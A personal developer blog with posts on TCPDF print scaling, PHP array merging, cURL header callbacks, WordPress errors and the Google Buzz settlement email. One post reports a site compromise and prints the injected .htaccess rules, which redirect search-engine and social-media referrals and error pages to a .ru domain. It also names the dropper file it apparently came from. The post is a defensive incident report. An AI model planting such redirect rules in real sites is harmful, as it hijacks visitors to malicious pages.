Thursday, September 6, 2012

TCPDF PrintScaling

Today while using the TCPDF PHP class to generate Avery 5267 labels I discovered that when I went to go print, Page Scaling was automatically set to "Fit to printable area" and I needed to have it as "None". After about 20 minutes of poking around forums I finally found something that led me to the TCPDF::setViewerPreferences() method and the PrintScaling preference. I decided the cleanest way to achieve this was to write a new method.

If you are extending TCPDF this is going to be pretty easy, do something like

<?php
class PDF extends TCPDF {
    
    ...

    /**
     * @author Brian Wendt (http://ontodevelopment.blogspot.com/)
     * @link http://www.tcpdf.org/doc/classTCPDF.html#ad09b32089f8e68c9d8424a2777627c21
     * @param string $preference key of preference 
     * @param mixed $value
     */
    function setViewerPreference($preference, $value){
        $this->viewer_preferences[$preference] = $value;
    }
} 

Use

$pdf->setViewerPreference('PrintScaling', 'None');

Otherwise, you'll need to be modifying the TCPDF class directly to do this cleanly.
Add the setViewerPreference() method from above to the TCPDF class. If you aren't extending and you aren't interested in changing the TCPDF class, then you'd simply use TCPDF::setViewerPreferences() like below but it has drawbacks.

$pdf->setViewerPreferences(array(
    'PrintScaling' => 'None'
));

(Note: using TCPFD::setViewerPreferences() overwrites other preferences you've set which is why I suggest creating the setViewerPreference() method)

TCPDF (©Nicola Asuni) is a powerful PHP class to generate PDF documents.

Wednesday, July 4, 2012

Sites Hacked? .htaccess files were code injected

(Previous Title: "Inmotion Hosting Hacked?")
At 7/3/2012 11:25:22 PM, my existing .htaccess files were injected with the following:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|altavista|msn|aol|goto|infoseek|lycos|search|bing|dogpile|facebook|twitter|live|myspace|linkedin|flickr)\.(.*)
RewriteRule ^(.*)$ http://2012medis.ru/cocumber?4 [R=301,L]
</IfModule>
and
ErrorDocument 400 http://2012medis.ru/cocumber?4
ErrorDocument 401 http://2012medis.ru/cocumber?4
ErrorDocument 403 http://2012medis.ru/cocumber?4
ErrorDocument 404 http://2012medis.ru/cocumber?4
ErrorDocument 500 http://2012medis.ru/cocumber?4
I corrected the problem by removing the injected code from my existing files and deleting the one's that were added which I identified quickly as being 1.57 KB (1,608 bytes)

-UPDATE-
It may be related to a file called ".cache_000.php" injected via a vulnerability with Wordpress. Look in your /wp-content/uploads/ directory for .cache_000.php
For me the file had the same timestamp as some of the .htaccess files did.

-UPDATE-
I updated my title to un-point the finger at Inmotion Hosting... the problem does appear to be fixed since I deleted that file and updated Wordpress.

-UPDATE-  
Update Wordpress or make the .cache_000.php file not accessible

Tuesday, May 22, 2012

PHP Merge Multidimensional Arrays

function md_array_merge(){
    $arrays = func_get_args();
    $return = array();
    foreach($arrays as $array){
        foreach($array as $key=>$val){
            if(is_array($val) && isset($return[$key])){
                $return[$key] = md_array_merge($return[$key], $val);
            } else {
                $return[$key] = $val;
            }
        }
    }
    return $return;
}

I wrote the above function to merge 2 or more multidimensional arrays. Use is similar to array_merge().

Provided with Open Source license without warranty

Tuesday, October 18, 2011

Wordpress: You do not have sufficient permissions to access this page.

I ran around in circles last night trying to figure out the culprit to this Wordpress error
You do not have sufficient permissions to access this page.
I finally ran into this blog this morning... saving my day (more or less literally).
http://beconfused.com/2007/how-to-solve-you-do-not-have-sufficient-permissions-to-access-this-page-in-wordpress/

Wednesday, April 20, 2011

CURLOPT_HEADERFUNCTION Tutorial with Example

Cutting to the Chase


So I've noticed there isn't much for documentation on the use of CURLOPT_HEADERFUNCTION so I've decided to try explaining it. So lets start with an example.


CURLOPT_HEADERFUNCTION Example


<?php
class cURL {
    public $response;
    public $header;
    function cURL($url){
        $ch = curl_init($url);
        curl_setopt_array($ch, array(
            CURLOPT_RETURNTRANSFER => true, //Causes curl_exec() to return the response
            CURLOPT_HEADER         => false, //Suppress headers from returning in curl_exec()
            CURLOPT_HEADERFUNCTION => array($this, 'header_callback'),
        ));
        $this->response = curl_exec($ch);
        curl_close($ch);
        return $this->response;
    }

    function header_callback($ch, $header_line){
        $this->header .= $header_line;
        return strlen($header_line);
    }
}
?>

This is a really simple example of the use of curl. Really a solid class would have a whole lot more going on, but that isn't what this example is for...

CURLOPT_HEADERFUNCTION expects the name of the function to callback when it receives the headers from the request. There are two common ways you'll see this:


  • CURLOPT_HEADERFUNCTION => 'header_callback',

  • CURLOPT_HEADERFUNCTION => array($this, 'header_callback'),

If you are familiar with call_user_func_array() you're a step ahead and can skip to the next section.
For a normal function, simply the name of the function will suffice, but to call a method you'll need to pass an array with the object and the method to call on it.
In my example, I'm calling $this->header_callback() by using array($this, 'header_callback').


The Callback Function/Method

 

You'll need to define the function or method you'll want to use as the callback.
There isn't a whole lot of variation between working example's I've found, that is probably because there isn't a whole lot you can do.

Parameter 1: The curl object created by curl_init. This is handy for some rare scenarios, but for the most part useless.

Parameter 2: A single line from the header. This is where some people get lost, its the GOTCHA and I'll explain it below.

Returns: The function/method MUST return the number of bytes written. Why? I'm really not sure, but it must be done or it throws errors at you till you die.


The GOTCHA!


Something not clearly stated anywhere is that the header doesn't come all in one chunk, in my experience the callback is executed for each line of the header.
This makes using CURLOPT_HEADERFUNCTION outside of an object cumbersome because you'll likely end up using a global variable (which is just ugly and some old guys will call you the devil).
For OOP'ers, you'll have no problem just appending the lines to a property like in my example where I use $this->header.


Comment, Tweet, Like, Share, or whatever is hip with the kids these days


If you found this useful and better than other tutorials for CURLOPT_HEADERFUNCTION, please show me some love on the great interwebs.

Saturday, January 8, 2011

New Website

PhoenixGirlsDress.com is a small, quick one page business site. From first contact on Wednesday to publication tonight, the project went smoothly without a hook.

*Revised: Never say "without a hook". Client decided she wanted more for free and then demanded a refund because she didn't get new clients (within first month of new site). Fun fun

Wednesday, November 3, 2010

BuzzClassAction.com Scam?

Most all of Gmail users received this email:

Google rarely contacts Gmail users via email, but we are making an exception to let you know that we've reached a settlement in a lawsuit regarding Google Buzz (http://buzz.google.com), a service we launched within Gmail in February of this year.

Shortly after its launch, we heard from a number of people who were concerned about privacy. In addition, we were sued by a group of Buzz users and recently reached a settlement in this case.

The settlement acknowledges that we quickly changed the service to address users' concerns. In addition, Google has committed $8.5 million to an independent fund, most of which will support organizations promoting privacy education and policy on the web. We will also do more to educate people about privacy controls specific to Buzz. The more people know about privacy online, the better their online experience will be.

Just to be clear, this is not a settlement in which people who use Gmail can file to receive compensation. Everyone in the U.S. who uses Gmail is included in the settlement, unless you personally decide to opt out before December 6, 2010. The Court will consider final approval of the agreement on January 31, 2011. This email is a summary of the settlement, and more detailed information and instructions approved by the court, including instructions about how to opt out, object, or comment, are available at http://www.BuzzClassAction.com

Most people took one look at this and figured that this was a scam, fraud, or just spam of some sort. A quick search for "BuzzClassAction.com Scam" doesn't return much. Several Google Employees have confirmed the legitimacy of this email though. The website simply informs you of the background of the lawsuit and doesn't ask you for money. Some people are qualified to be part of the class action, but I don't think anyone is going to get money from it because they can't prove damages.

Confirmations
http://www.google.com/support/forum/p/gmail/thread?tid=3baa11d440d1f16d&hl=en
http://www.google.com/support/forum/p/gmail/thread?tid=2bfa59608687a83d&hl=en


Still not sure if BuzzClassAction.com is legit? Don't got to it, you're not missing out on anything.